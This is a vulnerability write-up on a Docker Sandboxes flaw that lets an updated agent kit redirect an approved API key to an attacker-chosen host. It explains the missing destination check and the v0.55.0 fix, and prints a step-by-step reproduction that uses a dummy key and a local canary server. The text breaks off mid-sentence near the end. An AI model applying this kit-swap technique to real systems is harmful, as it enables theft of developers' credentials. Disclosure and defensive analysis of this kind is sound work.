The Consent Prompt Was Honest. Nothing Read the Answer: CVE-2026-136998 in Docker Sandboxes
This is the English adaptation of the original Korean analysis at dohyeontech.github.io.
On 30 November 2026, Peyton Kennedy of Endor Labs published a credential-theft flaw in Docker Sandboxes: CVE-2026-136998, CWE-863 (Incorrect Authorization). Reduced to one sentence - once a developer approved a third-party agent kit's credential request, a later version of that kit, fetched from the same reference, could send the real key to a server the attacker controlled.
The interesting part is what did not break. The microVM boundary held. The product's central promise - that the raw key never enters the sandbox - held too. What failed was the thing that decides where the host proxy is allowed to send the key.
The approval dialog told the truth, the default was safe, and the record of the decision was written to disk. Nothing ever read it back. Docker fixed this in v0.55.0, released 2026-11-30 15:26 UTC.
This write-up reconciles the Endor Labs analysis, the CVE record (CNA: Docker Inc.), the upstream release notes for v0.43.0 and v0.55.0, and the current credential documentation, and separates what is established from what is not.
What is established, and what is not
This is not a bug found in November. It is a hole that shipped in September, alongside a safety feature. The consent gate went out on 15 September; the report reached Docker six days later; the fix took 76 days.
Date Event (source):
- 2026-09-15 13:00 UTC Sandboxes v0.43.0 ships the credential consent gate. Release notes: "Credential-binding consent now defaults to decline" and "a third-party kit โฆ can no longer inherit a built-in agent's OAuth trust" (docker/sbx-releases v0.43.0)
- 2026-09-21 Endor Labs reports to Docker as ENDOR-VUL-2026-21091 (Endor timeline)
- 2026-11-03 v0.51.0 fixes the same researcher's earlier finding, CVE-2026-103916 (
sbx cpresolving outside the folders a sandbox was allowed to touch) (Endor, releases) - 2026-11-30 15:26 UTC v0.55.0: "Credential injection now enforces the approved destinations โฆ Bindings with no approved destinations are treated as missing." (docker/sbx-releases v0.55.0)
- 2026-11-30 Endor Labs analysis published; CVE-2026-136998 assigned by Docker as CNA (Endor, cve.org)
- 2026-12-01 CVE record updated - CVSS 4.0 5.6 MEDIUM as scored by the CNA (cve.org)
Item Status:
- Affected Confirmed - 0.43.0 up to, but not including, 0.55.0. Builds ship for macOS, Windows and Linux and share the daemon/proxy path, but the only combination the researcher verified was macOS 15.6 arm64, build
79805a6e3c6667520dc2da4f6bdeddae9b700969 - Before 0.43.0 Not affected by this defect - there was no binding to bypass. The researcher explicitly did not assess their separate credential exposure PoC
- Confirmed (documented) - dummy key plus a loopback canary; full reproduction steps published
- Weaponised public exploit Not observed - no repository or tool distributed
- Exploitation in the wild None reported - absent from the Endor post, the CVE record and press coverage
- CISA KEV Not listed
- Services affected Confirmed - 13 built-ins share the injection path (
anthropic,copilot,cursor,devin,droid,github,google,groq,mistral,nebius,openai,openrouter,xai). Onlyanthropicwas demonstrated; the other twelve are covered by shared code, not by individual tests - Docker Sandboxes Cloud Unestablished - not assessed by the researcher; cloud uses a separate credential store
- Cross-kit inheritance Unestablished - the version swap was demonstrated; approval transferring to a different third-party kit declaring the same service was reasoned, not shown
The absence of in-the-wild reports deserves care here. The attack is a normal software update. The proxy records the connection as allowed and records nothing about a credential being injected. Not observed and not happened are different things.
Why the score reads 8.2 in one place and 5.6 in another
Scorer Score Reading:
- Endor Labs (finder) ยท CVSS 3.1 8.2 High Scope changed - impact lands on a third-party provider account, not the vulnerable component
- Endor Labs ยท CVSS 4.0 6.9 Medium Counts subsequent-system confidentiality and integrity as high
- Docker (CNA) ยท CVSS 4.0 5.6 Medium Same event, subsequent-system impact scored zero
AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N Endor, CVSS 3.1 AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N Endor, CVSS 4.0 AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N Docker CNA, CVSS 4.0
The entire difference is SC / SI. Every consequence of this flaw happens on someone else's provider account, so whether you count that as impact on a subsequent system is the difference between 5.6 and 6.9.
Endor initially scored it AV:N at 9.3 Critical and corrected downward before submission, once it established that the attacker's delivery is a fetched artifact and the daemon listens on a local Unix socket. Calling this "critical" would contradict the vendor's own record. The accurate framing is a local-vector confidentiality flaw whose real shape is supply-chain and kit trust.
Where the key travels, and the empty check
Three parties
Host keychain. sbx secret set anthropic stores the real value in the OS keychain (Keychain, Credential Manager, Secret Service, or a file fallback on headless Linux). It is global by default: every sandbox on the machine uses the same key unless --sandbox scopes it.
Guest microVM. The agent sends x-api-key: proxy-managed. The real value is in neither the guest filesystem nor its environment.
Host proxy. It intercepts outbound requests, replaces the placeholder with the real credential, and forwards. The docs put it plainly: "The kit declares the match and the header; you provide the value on the host."
Which requests receive the real key is decided by the kit - an agent configuration bundle fetched from a registry, a git tag, branch or commit, or a local directory. Its inject rules declare the destinations per service.
In the v3 kit spec, a credential declaration looks like this:
- type: com.docker.sandbox/credential@1
config:
service: my-service # key into the host credential store
phase: runtime
apiKey:
proxyManaged: true
inject: # where the real key gets written
- domain: api.my-service.com
header: Authorization
format: "Bearer %s"
The spec requires inject[].domain to also appear in the network policy allow list. And it states the permission surface explicitly: Gate: The service name is permission surface, per phase. A new service, or a service moving between phases, widens. The unit of permission is the service name.
That decision predates v0.43.0 - it is in the spec - and the vulnerability is what happens when the runtime enforces the spec literally.
What v0.43.0 wrote down
v0.43.0 added a TTY prompt on first use of a third-party kit: which credential, which domains, default decline. Approving wrote a binding to ~/.config/sbx/credentials.yaml (%APPDATA%\sbx\credentials.yaml on Windows).
In Endor's v0.43.0-era example the service name is the top-level key:
anthropic:
apiKey:
domains:
- api.anthropic.com
Current documentation nests the same structure under bindings:
bindings:
anthropic:
apiKey:
domains: [api.anthropic.com]
github:
apiKey:
domains: [api.github.com, github.com]
API keys and OAuth tokens keep separate domain lists, and approval of one does not grant the other. So far, a sound design: the approved destinations are on disk and should be the basis of the decision.
The list nobody read
No code read the domains list at request time. The defect is not memory corruption, a race or a bypass technique. When a request arrived, the gate performed one boolean test: does credentials.yaml have a row under this service name? A row meant pass.
Then the proxy substituted the real key into requests to whatever domains the current version of the kit declared in its inject block. The operator's approved list played no part.
A second gap compounds it: the binding says nothing about which kit it was granted to. No kit name, no content digest, no source. Approval obtained from one version transfers to every later version fetched from the same reference - and, by the same logic, to another third-party kit declaring the same service. The researcher demonstrated the version swap and said plainly that the cross-kit case was not demonstrated.
A function that already had the right name
The detail that best characterises the flaw: the binary already contains sandboxlib/bindingconsent.MissingDomainsForService - a function whose name describes exactly the check that was missing. Per the researcher's observation, it did not gate the runtime path.
A named check that exists and is not wired into enforcement is not a design gap so much as an unconnected last step. v0.43.0 built the prompt, the safe default and the file. The one line that reads the file back into the proxy's decision was absent.
One changed line, five steps
The exploitation shape is an ordinary supply-chain update. The attacker compromises nothing: publish a plausible kit, collect one approval under a prompt that is truthful at the time, then change the destination.
The attacker publishes kit v1. Its inject block names only api.anthropic.com. The operator runs sbx create against it, reads a prompt that accurately says the key goes to api.anthropic.com, and approves. The binding is written.
The attacker ships v2 at the same tag, branch or directory. The only change is the inject domain. The operator's next sbx create finds a row for anthropic and passes - no prompt, no warning, no diff. The proxy substitutes the real key into requests to the attacker's host.
The published reproduction uses no real credential:
# Store a dummy value; nothing real is involved
sbx secret set anthropic --sandbox demo --token 'sk-ant-FAKE-CANARY-deadbeef'
# localtest.me resolves to 127.0.0.1 without touching /etc/hosts
python3 -m http.server 8899 --bind 127.0.0.1 &
# kitA: inject domain = api.anthropic.com โ approve at the prompt, binding written
sbx create --name demo ./kitA
# Tear down; the binding in ~/.config/sbx/credentials.yaml survives
sbx rm --force demo
# kitB: identical except the inject domain is canary.localtest.me โ no prompt
sbx create --name demo ./kitB
sbx exec demo -- curl http://canary.localtest.me:8899/ -H 'x-api-key: proxy-managed'
What the canary received:
GET /
HDR Host: canary.localtest.me:8899
HDR X-Api-Key: sk-ant-FAKE-CANARY-deadbeef
Two things are easy to miss. First, this went over plain HTTP: no TLS interception, no network position, just an endpoint that answers. Second, the researcher rewrote the binding's domains to [example.invalid] - a value unrelated to either kit - and the leak was identical. The recorded list did not influence the destination at all.
The kit also opens its own egress. permissions.network.allow entries are applied without a prompt, so v2 can add the attacker's host to the sandbox allowlist in the same file that redirects the key.
What the operator sees afterwards
Nothing. No prompt on the second sbx create, and sbx policy log records the connection to the canary host as allowed while saying nothing about a credential being injected. An operator reading logs later sees an ordinary permitted request.
What leaves the machine, and what it is worth:
- Credential What the attacker gets
anthropic,openaiand other providers Metered API access billed to the victim's accountgithubThe token's scopes, which for a typical developer token include write access to repositories
What was correctly refused
To size the finding, look at the paths that held:
- Mixin kits cannot add an injection domain for a built-in service; composition fails with
credential for service "anthropic" defined in both .... - Impersonation of a built-in agent by name is refused.
sbx kit addrefuses credential-declaring kits outright.- Non-interactive runs: without a TTY,
sbx createdeclines, and there is no--yes.
The attacker therefore needs the operator to actually approve and launch the kit reference. The prompt itself was never dishonest. What it promised was simply never enforced afterwards.
What the patch enforces, and what it leaves alone
v0.55.0
The release note is short: "Credential injection now enforces the approved destinations for API keys and OAuth tokens. Bindings with no approved destinations are treated as missing."
At runtime that is two changes:
- Enforce the approved destination at substitution time. A kit asking for a domain outside the binding is treated as a new domain and re-prompts. The version swap stops at that prompt.
- An empty domain list means no approval. Under v0.43.0 a row was enough; now a binding without destinations is treated as missing.
The docs match: "If a kit requests additional domains, sbx asks you to approve them." When credential approval blocks a path, the proxy strips authentication headers such as Authorization and x-api-key before forwarding.
The same release adds a second layer that speaks directly to this case: host credential injection now requires HTTPS. From the breaking-changes section - "External endpoints used by local sandboxes must use HTTPS to receive host-managed API keys, OAuth tokens, registry credentials, or custom secrets." Plain HTTP requests still follow network policy but receive no substitution. The canary demonstration was exactly that plaintext path, so this change alone defeats the same leak shape.
Two of the three asks are not in the release notes
The researcher asked for three things: enforcement at substitution time, approval bound to the artifact (keyed by content digest), and credential injection recorded in sbx policy log. Only the first is visible in the release notes.
Digest-bound approval - no mention, and current documentation still keys bindings by service identifier ("Each entry under bindings is keyed by a service identifier"). Practically, a version swap is now stopped because the new domain triggers a prompt; an update that stays inside the approved domain set still passes silently. Th
Comments
No comments yet. Start the discussion.